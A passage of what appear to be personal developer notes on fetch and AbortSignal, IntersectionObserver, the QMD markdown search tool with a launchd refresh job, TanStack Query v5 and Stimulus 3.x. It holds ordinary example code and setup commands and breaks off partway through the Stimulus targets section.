const fetchWithTimeout = async (url, options = {}, ms = 5000) => {
  const signals = [AbortSignal.timeout(ms)]
  if (options.signal) {
    signals.push(options.signal)
  }
  return fetch(url, { ...options, signal: AbortSignal.any(signals) })
}

Beyond fetch

AbortSignal isn't fetch-specific. Two other uses I reach for:

// Remove a batch of event listeners in one go - pass the same signal
// to addEventListener and abort() detaches them all. Great for cleanup
// in SPAs, and no need to keep references to the handler functions.
const controller = new AbortController()
window.addEventListener('resize', onResize, { signal: controller.signal })
window.addEventListener('scroll', onScroll, { signal: controller.signal })
// later…
controller.abort()

// Make your own async functions cancellable
const doWork = async (items, { signal } = {}) => {
  for (const item of items) {
    signal?.throwIfAborted() // throws the abort reason if aborted
    await process(item)
  }
}

You can also check signal.aborted (boolean) and signal.reason, or listen for the abort event on the signal itself, if throwing isn't what you want.

Request

Synopsis: new Request(url, options)

Request represents a HTTP request to be performed via fetch(). Typically a Request doesn't need to be constructed manually, as it's instantiated internally when fetch() is called.

URL (Request or string)

The URL of the resource which is being fetched. Typically this is an absolute URL without the host component, e.g. "/path". If the URL has the host of another site, the request is performed in accordance to CORS.

Any non-Request object will be converted to a String, making it possible to pass an instance of URL, for example.

A request can be initialised using another instance of Request in place of the URL. In that case, the URL and other options are inherited from the provided Request object.

Options

method (String) - HTTP request method. Default: "GET"
body (String, body types) - HTTP request body
headers (Object, Headers) - Default: {}
credentials (String) - Authentication credentials mode. Default: "same-origin"
- "omit" - don't include authentication credentials (e.g. cookies) in the request
- "same-origin" - include credentials in requests to the same site
- "include" - include credentials in requests to all sites

Body types

Class	Default Content-Type
String	`text/plain;charset=UTF-8`
URLSearchParams	`application/x-www-form-urlencoded;charset=UTF-8`
FormData	`multipart/form-data`
Blob	inherited from the `blob.type` property
ArrayBuffer
TypedArray
DataView

Other data structures need to be encoded beforehand as one of the above types. For instance, JSON.stringify(data) can be used to serialise a data structure into a JSON string.

Note that HTTP servers often require that requests that are posted with a body also specify their type via a Content-Type request header.

Response

Response represents a HTTP response from the server. Typically a Response is not constructed manually, but is available as argument to the resolved promise callback.

Properties

status (number) - HTTP response code in the 100–599 range
statusText (String) - Status text as reported by the server, e.g. "Unauthorized"
ok (boolean) - True if status is HTTP 2xx
headers (Headers)
url (String)

Body methods

Each of the methods to access the response body returns a Promise that will be resolved when the associated data type is ready.

text() - yields the response text as String
json() - yields the result of JSON.parse(responseText)
blob() - yields a Blob
arrayBuffer() - yields an ArrayBuffer
formData() - yields FormData that can be forwarded to another request

Other response methods

clone()
Response.error()
Response.redirect()

Headers

Synopsis: new Headers(hash)

Headers represents a set of request/response HTTP headers. It allows for case-insensitive lookup of header by name, as well as merging multiple values of a single header.

Methods

has(name) (boolean)
get(name) (String)
set(name, value)
append(name, value)
delete(name)
forEach(function(value, name){ ... }, [thisContext])

Error

If there is a network error or another reason why the HTTP request couldn't be fulfilled, the fetch() promise will be rejected with a reference to that error.

Note that the promise won't be rejected in case of HTTP 4xx or 5xx server responses. The promise will be resolved just as it would be for HTTP 2xx. Inspect the response.status number within the resolved callback to add conditional handling of server errors to your code.

fetch(...).then((response) => {
  if (response.ok) {
    return response.json()
  } else {
    var error = new Error(response.statusText)
    error.response = response
    throw error
  }
})

IntersectionObserver

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

IntersectionObserver tells you when an element enters or leaves the viewport (or another scrolling element). The browser does the work off the main thread, so it's much cheaper than a scroll listener that calls getBoundingClientRect().

Use it to answer "is this on screen?": lazy loading, infinite scroll, reveal animations, analytics impressions, pausing off-screen video, scrollspy navs.

Basic usage

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      entry.target // the observed element
      entry.isIntersecting // true when it's (partly) on screen
      entry.intersectionRatio // how much is visible, 0–1
      entry.boundingClientRect // its position, measured for free
    }
  },
  {
    root: null, // null = the viewport, or pass a scrolling element
    rootMargin: '0px', // grow (+) or shrink (-) the root box, like CSS margin
    threshold: 0, // 0 = any pixel visible, 1 = fully visible, or an array
  },
)

observer.observe(element)

observer.unobserve(element) // stop watching one element
observer.disconnect() // stop watching everything

The callback runs once straight away for each element you observe, with its current state. Don't treat the first call as "it just came into view".
One observer can watch many elements. Create one and call observe() for each, instead of one observer per element.

`rootMargin`

rootMargin moves the edges of the viewport before the check happens.

// start loading 300px before the element scrolls into view
new IntersectionObserver(callback, { rootMargin: '300px 0px' })

// only count it inside a thin band across the middle of the viewport
new IntersectionObserver(callback, { rootMargin: '-45% 0px -50% 0px' })

`threshold`

// fire each time visibility crosses 0%, 25%, 50%, 75% and 100%
new IntersectionObserver(callback, { threshold: [0, 0.25, 0.5, 0.75, 1] })

Examples

Lazy load, once

Stop watching an element after it loads.

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      entry.target.src = entry.target.dataset.src
      observer.unobserve(entry.target)
    }
  },
  { rootMargin: '300px 0px' },
)

document.querySelectorAll('img[data-src]').forEach((img) => observer.observe(img))

For plain images and iframes you don't need this: use <img loading="lazy">. Reach for the observer for anything else (components, embeds, data).

Reveal on scroll

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      entry.target.classList.add('is-visible')
      observer.unobserve(entry.target)
    }
  },
  { threshold: 0.2 },
)

document.querySelectorAll('.reveal').forEach((el) => observer.observe(el))

.reveal {
  opacity: 0;
  translate: 0 2rem;
  transition: opacity 0.6s, translate 0.6s;
}
.reveal.is-visible {
  opacity: 1;
  translate: 0 0;
}

CSS can now do this with no JavaScript, using scroll-driven animations (animation-timeline: view()). Check browser support first.

Infinite scroll

Watch an empty "sentinel" element at the end of the list. Load more when it comes near the viewport. No scroll listener and no throttle needed.

const sentinel = document.querySelector('#load-more')

const observer = new IntersectionObserver(
  async ([entry]) => {
    if (!entry.isIntersecting) return
    const hasMore = await loadNextPage()
    if (!hasMore) observer.disconnect()
  },
  { rootMargin: '800px 0px' },
)

observer.observe(sentinel)

Pause videos that are off screen

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      entry.isIntersecting ? entry.target.play() : entry.target.pause()
    }
  },
  { threshold: 0.5 },
)

document.querySelectorAll('video[autoplay]').forEach((video) => observer.observe(video))

Scrollspy: highlight the current section in a nav

The negative rootMargin shrinks the viewport to a thin band across its middle. The section inside that band is the current one.

const links = new Map(
  [...document.querySelectorAll('nav a[href^="#"]')].map((a) => [a.hash.slice(1), a]),
)

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      if (entry.isIntersecting) {
        links.forEach((a) => a.removeAttribute('aria-current'))
        links.get(entry.target.id)?.setAttribute('aria-current', 'true')
      }
    }
  },
  { rootMargin: '-45% 0px -50% 0px' },
)

document.querySelectorAll('section[id]').forEach((section) => observer.observe(section))

Style a sticky header once it's stuck

position: sticky has no "stuck" state in CSS. Put a 1px sentinel at the very top of the page. When it leaves the viewport, the header is stuck.

const header = document.querySelector('header')
const sentinel = document.querySelector('#top-sentinel')

new IntersectionObserver(([entry]) => {
  header.classList.toggle('is-stuck', !entry.isIntersecting)
}).observe(sentinel)

Track impressions

Count an ad or product card as "seen" when half of it is visible, once.

const observer = new IntersectionObserver(
  (entries) => {
    for (const entry of entries) {
      if (!entry.isIntersecting) continue
      analytics.track('impression', { id: entry.target.dataset.id })
      observer.unobserve(entry.target)
    }
  },
  { threshold: 0.5 },
)

document.querySelectorAll('[data-track-impression]').forEach((el) => observer.observe(el))

With React

`useInView` hook

import { useEffect, useState } from 'react'

type Options = {
  root?: Element | null
  rootMargin?: string
  threshold?: number | number[]
  once?: boolean
}

export function useInView<T extends Element>({
  root = null,
  rootMargin = '0px',
  threshold = 0,
  once = false,
}: Options = {}) {
  // a callback ref (via useState) re-runs the effect if the element mounts later
  const [element, setElement] = useState<T | null>(null)
  const [inView, setInView] = useState(false)

  useEffect(() => {
    if (!element) return

    const observer = new IntersectionObserver(
      ([entry]) => {
        setInView(entry.isIntersecting)
        if (once && entry.isIntersecting) observer.disconnect()
      },
      { root, rootMargin, threshold },
    )

    observer.observe(element)
    return () => observer.disconnect()
  }, [element, root, rootMargin, threshold, once])

  return [setElement, inView] as const
}

Two traps this hook avoids:

Options object in the deps. useIntersectionObserver({ threshold: 0.5 }) makes a new object on every render. If the effect depends on it, the observer is torn down and rebuilt on every render. Depend on the single values instead. If you pass a threshold array, define it outside the component.
useRef + useEffect([]). If the element renders later (after loading, or behind a condition), ref.current is null when the effect runs, and the element is never observed. Storing the element in state re-runs the effect when it appears.

Usage

function Section({ children }: { children: React.ReactNode }) {
  const [ref, inView] = useInView<HTMLElement>({ threshold: 0.2, once: true })

  return (
    <section ref={ref} className={inView ? 'reveal is-visible' : 'reveal'}>
      {children}
    </section>
  )
}

Render something heavy only when it gets close:

function LazyMap() {
  const [ref, inView] = useInView<HTMLDivElement>({ rootMargin: '400px', once: true })

  return <div ref={ref} style={{ minHeight: 400 }}>{inView && <Map />}</div>
}

The minHeight matters: an empty 0px box can sit on screen and fire too early, and the content shifts the layout when it appears.

Infinite scroll with React Query

function Feed() {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage } = useInfiniteQuery({
    queryKey: ['feed'],
    queryFn: ({ pageParam, signal }) => fetchFeed(pageParam, signal),
    initialPageParam: null as string | null,
    getNextPageParam: (lastPage) => lastPage.nextCursor,
  })

  const [sentinelRef, nearEnd] = useInView<HTMLLIElement>({ rootMargin: '800px 0px' })

  useEffect(() => {
    if (nearEnd && hasNextPage && !isFetchingNextPage) fetchNextPage()
  }, [nearEnd, hasNextPage, isFetchingNextPage, fetchNextPage])

  return (
    <ul>
      {data?.pages.flatMap((page) => page.items).map((post) => <PostRow key={post.id} post={post} />)}
      <li ref={sentinelRef}>{isFetchingNextPage ? 'Loading…' : null}</li>
    </ul>
  )
}

The effect also re-checks after each page loads. If the sentinel is still near the end (the page was short), it loads the next page at once. More in the React Query note.

Gotchas

Tall elements and threshold: 1. An element taller than the viewport can never be 100% visible, so the callback never fires. Use a lower threshold.
display: none elements never intersect. Hidden elements with opacity: 0 or visibility: hidden do.
root must be an ancestor of the observed element, and it must be the element that scrolls.
Clean up. Call disconnect() when the component or page goes away. To tear it down with other listeners in one go, connect it to an AbortController: signal.addEventListener('abort', () => observer.disconnect()).
It isn't for scroll position. It tells you whether something is visible, not how far the page has scrolled. For a scroll progress bar, use a throttled scroll listener or animation-timeline: scroll().

References

QMD

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

QMD is a local search engine for markdown files. It combines keyword search (BM25), vector search (search by meaning) and LLM re-ranking, and it all runs on your machine. It also has an MCP server, so AI agents can search your notes too.

I use it to make my Obsidian vault and these code notes searchable from any agent, in any project.

Install

npm install -g @tobilu/qmd
# or
bun install -g @tobilu/qmd

Add folders

Each folder you index is a collection.

qmd collection add ~/Documents/Obsidian --name obsidian
qmd collection add ~/code/my-site/src/content/notes --name codenotes

# only some files
qmd collection add ~/Documents/notes --name notes --mask "**/*.md"

qmd embed # build the vector index

Add a short description to each collection. It helps search, and it tells agents what they're looking at:

qmd context add qmd://codenotes "Short dev notes and snippets: JS, TS, React, CSS, tools"

Other collection commands: qmd collection list, show, rename, remove, and qmd ls codenotes to see the files.

Search

qmd search "abort controller"          # keywords only, fast, no model
qmd vsearch "cancel a fetch request"   # by meaning only
qmd query "how do I cancel a fetch?"   # both, plus re-ranking (best, slower)

qmd query "debounce" -c codenotes      # one collection
qmd query "debounce" -n 10 --full      # 10 results, full documents

A query can also be a typed "query document", one search per line:

qmd query $'lex: "useInfiniteQuery" -graphql\nvec: infinite scroll with react query'

lex: keyword search. "exact phrase" and -exclude work.
vec: a question in plain words.
hyde: a short made-up answer. The results that look most like it win. Good for vague topics.

Read a result with qmd get <file> or qmd get "#docid".

Use it from agents

For Claude Code, install the plugin. It adds the MCP server and a skill:

claude plugin marketplace add tobi/qmd
claude plugin install qmd@qmd

For other agents, run qmd mcp as a stdio MCP server, or install the skill with qmd skill install --global.

Keep the index up to date

QMD does not watch your files. After notes change, you need two steps:

qmd update && qmd embed

qmd update finds new, changed and deleted files. Keyword search is current after this.
qmd embed makes vectors for the changed files only, so it's quick after the first run.

qmd status shows how many files still need embedding.

Run it every day with launchd (macOS)

Save as ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.USERNAME.qmd-refresh</string>
  <key>ProgramArguments</key>
  <array>
    <string>/bin/sh</string>
    <string>-c</string>
    <string>date; qmd update &amp;&amp; qmd embed</string>
  </array>
  <key>EnvironmentVariables</key>
  <dict>
    <key>PATH</key>
    <string>/path/to/node/bin:/usr/bin:/bin</string>
  </dict>
  <key>StartCalendarInterval</key>
  <dict>
    <key>Hour</key>
    <integer>9</integer>
    <key>Minute</key>
    <integer>0</integer>
  </dict>
  <key>LowPriorityIO</key>
  <true/>
  <key>Nice</key>
  <integer>10</integer>
  <key>StandardOutPath</key>
  <string>/Users/USERNAME/Library/Logs/qmd-refresh.log</string>
  <key>StandardErrorPath</key>
  <string>/Users/USERNAME/Library/Logs/qmd-refresh.log</string>
</dict>
</plist>

PATH must point to the Node that QMD was installed with. launchd doesn't load your shell profile, and QMD has native modules built for that exact Node version. Find it with readlink -f "$(command -v qmd)": the path goes through …/node/<version>/lib/node_modules, and the bin folder next to lib is the one you want.
If the Mac is asleep at 09:00, the job runs when it wakes.

Load it, and run it once to test:

plutil -lint ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist
launchctl kickstart gui/$(id -u)/com.USERNAME.qmd-refresh
tail -f ~/Library/Logs/qmd-refresh.log

Check the last run with launchctl print gui/$(id -u)/com.USERNAME.qmd-refresh | grep "last exit code".

Remove it:

launchctl bootout gui/$(id -u)/com.USERNAME.qmd-refresh
rm ~/Library/LaunchAgents/com.USERNAME.qmd-refresh.plist

If you upgrade Node, update the PATH in the plist, or the job fails. The log shows the error.

Other useful commands

qmd status        # collections, file counts, files waiting for vectors
qmd cleanup       # clear caches, shrink the database
qmd embed -f      # rebuild every vector (e.g. after changing the model)

The index lives in ~/.cache/qmd/index.sqlite.

TanStack Query (React Query)

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

useQuery

The v5 API uses a single object argument instead of positional arguments.

import { useQuery } from '@tanstack/react-query'

interface User {
  id: string
  name: string
}

const { data, error, isPending, isError } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId),
})

With options

const { data, isPending } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId),
  enabled: !!userId, // only run when userId is truthy
  staleTime: 1000 * 60 * 5, // 5 minutes
  gcTime: 1000 * 60 * 30, // 30 minutes (formerly cacheTime)
})

Cancel with `signal`

queryFn gets an AbortSignal. Pass it to fetch, and React Query aborts the request when the key changes or nothing uses the query any more. More in the AbortController note.

useQuery({
  queryKey: ['user', userId],
  queryFn: ({ signal }) => fetch(`/api/users/${userId}`, { signal }).then((res) => res.json()),
})

Conditional queries with `skipToken`

A type-safe alternative to enabled. TypeScript knows userId is defined inside queryFn, so there's no ! or extra check.

import { skipToken, useQuery } from '@tanstack/react-query'

useQuery({
  queryKey: ['user', userId],
  queryFn: userId ? () => fetchUser(userId) : skipToken,
})

refetch() doesn't work with skipToken. Use enabled if you need it.

As a custom hook

import { useQuery } from '@tanstack/react-query'

interface User {
  id: string
  name: string
  email: string
}

export const useUser = (userId: string) => {
  return useQuery({
    queryKey: ['user', userId],
    queryFn: async (): Promise<User> => {
      const response = await fetch(`/api/users/${userId}`)
      if (!response.ok) throw new Error('Failed to fetch user')
      return response.json()
    },
    enabled: !!userId,
  })
}

Usage in a component

const UserProfile = ({ userId }: { userId: string }) => {
  const { data: user, isPending, isError, error } = useUser(userId)

  if (isPending) return <div>Loading...</div>
  if (isError) return <div>Error: {error.message}</div>

  return <div>Name: {user.name}</div>
}

useMutation

import { useMutation, useQueryClient } from '@tanstack/react-query'

const queryClient = useQueryClient()

const mutation = useMutation({
  mutationFn: (newUser: { name: string }) => {
    return fetch('/api/users', {
      method: 'POST',
      body: JSON.stringify(newUser),
    })
  },
  onSuccess: () => {
    // Invalidate and refetch
    queryClient.invalidateQueries({ queryKey: ['users'] })
  },
})

// Usage
mutation.mutate({ name: 'New User' })

Callback signatures changed in v5.89.0

onMutate's return value became its own argument, onMutateResult, and a real context object moved to the end. Code written before 5.89 that reads the third argument as the onMutate return value still works — the value just moved.

// Before 5.89
onError: (error, variables, context) => {} // context = onMutate's return value

// 5.89+
onMutate: (variables, context) => {}
onError: (error, variables, onMutateResult, context) => {}
onSuccess: (data, variables, onMutateResult, context) => {}
onSettled: (data, error, variables, onMutateResult, context) => {}

context is a MutationFunctionContext: context.client (the QueryClient), context.meta and context.mutationKey. context.client means callbacks can touch the cache without closing over useQueryClient().

mutationFn gets the same context as its second argument:

mutationFn: (variables, { client, meta, mutationKey }) => {}

Optimistic updates

Two approaches. Pick the cheap one first.

Via the UI (`variables`)

If the pending item only needs to appear in one place, render variables directly — no cache writes, no rollback logic, nothing to undo.

const { mutate, variables, isPending, isError } = useMutation({
  mutationFn: (newTodo: string) => addTodo(newTodo),
  onSettled: () => queryClient.invalidateQueries({ queryKey: ['todos'] }),
})

return (
  <ul>
    {todos.map((todo) => (
      <li key={todo.id}>{todo.text}</li>
    ))}
    {isPending && <li style={{ opacity: 0.5 }}>{variables}</li>}
    {isError && <li onClick={() => mutate(variables)}>{variables} — retry</li>}
  </ul>
)

To read those variables from a component that didn't call mutate, give the mutation a mutationKey and use useMutationState:

const pendingTodos = useMutationState<string>({
  filters: { mutationKey: ['addTodo'], status: 'pending' },
  select: (mutation) => mutation.state.variables as string,
})

Via the cache (`onMutate`)

Needed when the update has to show up in several places at once. More code, and you own the rollback.

useMutation({
  mutationFn: updateTodo,
  onMutate: async (newTodo, context) => {
    // Cancel in-flight refetches so they don't clobber the optimistic write
    await context.client.cancelQueries({ queryKey: ['todos'] })

    const previousTodos = context.client.getQueryData(['todos'])

    context.client.setQueryData(['todos'], (old: Todo[] = []) => [
      ...old,
      newTodo,
    ])

    // Whatever is returned here arrives as onMutateResult
    return { previousTodos }
  },
  onError: (err, newTodo, onMutateResult, context) => {
    context.client.setQueryData(['todos'], onMutateResult?.previousTodos) // undefined if onMutate threw
  },
  onSettled: (data, error, variables, onMutateResult, context) => {
    context.client.invalidateQueries({ queryKey: ['todos'] })
  },
})

The cancelQueries call is the part people forget: without it, a refetch that was already in flight can land after the optimistic write and overwrite it with stale server data.

Pagination

Page numbers go in the query key, so each page is cached separately. On its own that means a loading flash on every page change — placeholderData: keepPreviousData keeps the last page on screen while the next one fetches.

import { keepPreviousData, useQuery } from '@tanstack/react-query'

const Projects = () => {
  const [page, setPage] = useState(0)

  const { data, isPending, isFetching, isPlaceholderData } = useQuery({
    queryKey: ['projects', page],
    queryFn: () => fetchProjects(page),
    placeholderData: keepPreviousData,
  })

  if (isPending) return <div>Loading...</div>

  return (
    <div>
      {data.projects.map((project) => (
        <p key={project.id}>{project.name}</p>
      ))}

      <button
        onClick={() => setPage((old) => Math.max(old - 1, 0))}
        disabled={page === 0}
      >
        Previous
      </button>
      <button
        onClick={() => setPage((old) => old + 1)}
        // Don't page forward off data we haven't confirmed yet
        disabled={isPlaceholderData || !data.hasMore}
      >
        Next
      </button>

      {isFetching && <span>Loading...</span>}
    </div>
  )
}

isPlaceholderData tells you the data on screen belongs to the previous page — disable "Next" while it's true, otherwise a fast clicker can skip past the end.

Prefetch the next page to make it feel instant:

useEffect(() => {
  if (!isPlaceholderData && data?.hasMore) {
    queryClient.prefetchQuery({
      queryKey: ['projects', page + 1],
      queryFn: () => fetchProjects(page + 1),
    })
  }
}, [data, isPlaceholderData, page, queryClient])

Infinite queries

useInfiniteQuery stores every page under one query key. initialPageParam and getNextPageParam are both required — getNextPageParam returning undefined or null is what sets hasNextPage to false.

import { useInfiniteQuery } from '@tanstack/react-query'

const {
  data,
  fetchNextPage,
  hasNextPage,
  isFetchingNextPage,
  status,
} = useInfiniteQuery({
  queryKey: ['projects'],
  queryFn: ({ pageParam }) => fetchProjects(pageParam),
  initialPageParam: 0,
  getNextPageParam: (lastPage) => lastPage.nextCursor ?? undefined,
})

data is { pages, pageParams }, not a flat array — flatten it to render:

const projects = data?.pages.flatMap((page) => page.projects) ?? []

Full signature is getNextPageParam(lastPage, allPages, lastPageParam, allPageParams), so offset-based APIs without a cursor can count what they already have:

getNextPageParam: (lastPage, allPages) =>
  lastPage.length === PAGE_SIZE ? allPages.length * PAGE_SIZE : undefined

Add getPreviousPageParam for bi-directional lists (chat scrollback), which gives you fetchPreviousPage and hasPreviousPage. maxPages caps how many pages stay in the cache. With it set, define both param getters, so pages dropped from either end can be fetched again.

Infinite scroll

Trigger fetchNextPage from an IntersectionObserver on a sentinel element at the bottom of the list.

const InfiniteProjects = () => {
  const { data, fetchNextPage, hasNextPage, isFetchingNextPage, status } =
    useInfiniteQuery({
      queryKey: ['projects'],
      queryFn: ({ pageParam }) => fetchProjects(pageParam),
      initialPageParam: 0,
      getNextPageParam: (lastPage) => lastPage.nextCursor ?? undefined,
    })

  const sentinelRef = useRef<HTMLDivElement>(null)

  useEffect(() => {
    const el = sentinelRef.current
    if (!el || !hasNextPage) return

    const observer = new IntersectionObserver(
      ([entry]) => {
        // isFetchingNextPage guard stops a burst of duplicate fetches
        if (entry.isIntersecting && !isFetchingNextPage) fetchNextPage()
      },
      { rootMargin: '200px' }, // start fetching before it's actually visible
    )

    observer.observe(el)
    return () => observer.disconnect()
  }, [hasNextPage, isFetchingNextPage, fetchNextPage])

  if (status === 'pending') return <div>Loading...</div>
  if (status === 'error') return <div>Something went wrong</div>

  return (
    <div>
      {data.pages.flatMap((page) => page.projects).map((project) => (
        <p key={project.id}>{project.name}</p>
      ))}

      <div ref={sentinelRef} />

      {isFetchingNextPage && <span>Loading more...</span>}
      {!hasNextPage && <span>Nothing left to load</span>}
    </div>
  )
}

Two things worth knowing:

Refetching an infinite query refetches every page it holds, sequentially, to keep the cursor chain consistent. A hundred loaded pages is a hundred requests. maxPages is the fix.
For long lists, pair this with a virtualiser (TanStack Virtual) — infinite query solves fetching, not the cost of rendering ten thousand DOM nodes.

queryOptions

The queryOptions helper lets you define query configuration in one place and reuse it across useQuery, useSuspenseQuery, useQueries, prefetching, and more. Great for co-locating queryKey and queryFn together.

import { queryOptions, useQuery, useQueries, useSuspenseQuery } from '@tanstack/react-query'

function userOptions(id: string) {
  return queryOptions({
    queryKey: ['user', id],
    queryFn: () => fetchUser(id),
    staleTime: 5 * 1000,
  })
}

// Usage in components
const { data } = useQuery(userOptions(userId))
const { data: user } = useSuspenseQuery(userOptions(userId))

// Prefetching
queryClient.prefetchQuery(userOptions(userId))

// Setting data directly
queryClient.setQueryData(userOptions(userId).queryKey, newUser)

// Multiple queries
useQueries({
  queries: [userOptions('1'), userOptions('2')],
})

Override options at the component level:

const { data } = useQuery({
  ...userOptions(userId),
  select: (data) => data.name, // type inference still works
})

For infinite queries, use infiniteQueryOptions.

mutationOptions

The same idea for mutations — define the config once, reuse it wherever the mutation is triggered or observed.

import { mutationOptions, useMutation, useMutationState } from '@tanstack/react-query'

function updateUserOptions() {
  return mutationOptions({
    mutationKey: ['updateUser'],
    mutationFn: (user: User) => updateUser(user),
    onSettled: (data, error, variables, onMutateResult, context) => {
      context.client.invalidateQueries({ queryKey: ['users'] })
    },
  })
}

const mutation = useMutation(updateUserOptions())

// The shared mutationKey means other components can observe it
const pending = useMutationState({
  filters: { mutationKey: updateUserOptions().mutationKey, status: 'pending' },
})

Anything useMutation accepts, mutationOptions accepts. Give it a mutationKey if you want to watch it with useMutationState. Its real value is keeping mutationKey and mutationFn together, so useMutationState filters can't drift out of sync with the mutation they're watching.

useQueries

Run multiple queries in parallel.

import { useQueries } from '@tanstack/react-query'

const results = useQueries({
  queries: [
    {
      queryKey: ['user', userId],
      queryFn: () => fetchUser(userId),
    },
    {
      queryKey: ['posts', userId],
      queryFn: () => fetchUserPosts(userId),
    },
  ],
})

useSuspenseQuery

For use with React Suspense. Data is guaranteed to be defined. It doesn't accept enabled or placeholderData: a suspense query always runs, and the <Suspense> fallback takes the place of a placeholder.

import { useSuspenseQuery } from '@tanstack/react-query'

const UserProfile = ({ userId }: { userId: string }) => {
  // data is guaranteed to be defined
  const { data: user } = useSuspenseQuery({
    queryKey: ['user', userId],
    queryFn: () => fetchUser(userId),
  })

  return <div>Name: {user.name}</div>
}

// Wrap with Suspense
const App = () => (
  <Suspense fallback={<div>Loading...</div>}>
    <UserProfile userId="123" />
  </Suspense>
)

QueryClient setup

import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
import { ReactQueryDevtools } from '@tanstack/react-query-devtools'

const queryClient = new QueryClient({
  defaultOptions: {
    queries: {
      staleTime: 1000 * 60, // 1 minute
      retry: 1,
    },
  },
})

const App = () => (
  <QueryClientProvider client={queryClient}>
    <YourApp />
    <ReactQueryDevtools initialIsOpen={false} />
  </QueryClientProvider>
)

Placeholder and initial data

Placeholder data is shown while fetching but never written to the cache. initialData is written to the cache and is treated as real, fresh data.

// A stand-in value while the real thing loads
const { data, isPlaceholderData } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId),
  placeholderData: { id: userId, name: 'Loading...' },
})

// Or keep the previous key's data on screen while the new key fetches
const { data } = useQuery({
  queryKey: ['user', userId],
  queryFn: () => fetchUser(userId),
  placeholderData: keepPreviousData,
})

keepPreviousData is imported from @tanstack/react-query. It replaced the v4 keepPreviousData: true boolean option.

v4 → v5 changes

The ones you'll trip over in older code:

isLoading → isPending. "No data yet" is now isPending. isLoading still exists but means isPending && isFetching (the first load is in progress).
cacheTime → gcTime.
useErrorBoundary → throwOnError.
keepPreviousData: true → placeholderData: keepPreviousData. With placeholderData, status is success while the old data shows. The old option kept the previous query's status.
Single object argument. useQuery(key, fn, options) is gone. Use useQuery({ queryKey, queryFn, ...options }).
initialPageParam is required for infinite queries.
Suspense has its own hooks: useSuspenseQuery, useSuspenseInfiniteQuery, useSuspenseQueries, instead of suspense: true.

TanStack Table — server-side sorting and pagination with useQuery
TanStack Form — submit with useMutation, load default values with useQuery

Stimulus cheatsheet

Zander Martineau — Mon, 28 Sep 2026 00:00:00 GMT

Complete reference for Stimulus 3.x. The package is @hotwired/stimulus; the old data-target and Data APIs were removed in v3.

Current release is 3.2.2 (August 2023). The project is in low-activity maintenance rather than active development, so 3.2.2 is what you'll be using.

Website: https://stimulus.hotwired.dev/
GitHub repo: https://github.com/hotwired/stimulus
Handbook: https://stimulus.hotwired.dev/handbook/introduction
Forum: https://discuss.hotwired.dev/

Setup

import { Application } from '@hotwired/stimulus'
import ClipboardController from './controllers/clipboard_controller'

const application = Application.start()
application.register('clipboard', ClipboardController)

application.debug = true                      // log every lifecycle event
application.handleError = (error, message, detail) => {
  Sentry.captureException(error, { extra: { message, detail } })
}

Application.start(element?, schema?) defaults to document.documentElement and waits for DOMContentLoaded if the document is still loading.

Controllers are discovered with a MutationObserver, so HTML injected after page load wires itself up with no re-initialisation. Callbacks fire in the next microtask, not synchronously.

Other application methods: register(), load(), unload(), stop(), controllers, getControllerForElementAndIdentifier(), registerActionOption().

Per-controller registration hooks:

export default class extends Controller {
  static shouldLoad = !!window.matchMedia('(pointer: fine)').matches  // skip registration
  static afterLoad(identifier, application) { /* runs once on registration */ }
}

Empty controller

import { Controller } from '@hotwired/stimulus'

export default class extends Controller {
  static targets = []
  static values = {}
  static classes = []
  static outlets = []

  initialize() {}
  connect() {}
  disconnect() {}
}

Lifecycle callbacks

There are eight, and no single page of the official docs lists them together.

Callback	Arguments	Fires
`initialize()`	—	once per controller instance, ever
`[name]ValueChanged(value, previous)`	decoded value, decoded previous	on connect, and on every later change
`[name]TargetConnected(element)`	`Element`	a target enters the DOM
`[name]OutletConnected(outlet, element)`	`Controller`, `Element`	an outlet enters the DOM
`connect()`	—	the controller connects
`disconnect()`	—	the controller disconnects
`[name]OutletDisconnected(outlet, element)`	`Controller`, `Element`	an outlet leaves
`[name]TargetDisconnected(element)`	`Element`	a target leaves

Order

The sequence is asymmetric, which matters more than it sounds.

Connecting: initialize → [name]ValueChanged → [name]TargetConnected → [name]OutletConnected → connect

Disconnecting: disconnect → [name]OutletDisconnected → [name]TargetDisconnected

Target and outlet callbacks run before connect() but after disconnect(). So when disconnect() runs, your targets are all still tracked, which is exactly when you want to detach things from them.

`connect()` runs more than once

If an element is detached and re-attached, Stimulus reuses the existing controller instance and calls connect() again without re-running initialize(). Two connect() calls are always separated by one disconnect().

Put one-time setup in initialize(), and make everything in connect() idempotent. Turbo 8 morphing makes re-connection routine rather than rare.

HTML API

Purpose	Attribute	Example
Controller	`data-controller`	`<div data-controller="hello history">`
Target	`data-[identifier]-target`	`<input data-hello-target="name">`
Value	`data-[identifier]-[name]-value`	`<div data-slideshow-index-value="1">`
Class	`data-[identifier]-[name]-class`	`<div data-hello-loading-class="spinner">`
Outlet	`data-[identifier]-[name]-outlet`	`<div data-chat-status-outlet=".online">`
Action	`data-action`	`<button data-action="click->hello#greet">`
Action param	`data-[identifier]-[name]-param`	`<button data-vote-id-param="42">`

data-controller takes a space-separated list, so one element can host several controllers, and one controller can be instantiated many times on a page.

Targets

static targets = ['source', 'output']

<input data-hello-target="source">

Each name in the array gives you three properties:

this.sourceTarget — the first matching target. Throws if there isn't one.
this.sourceTargets — an array of all of them, empty if none.
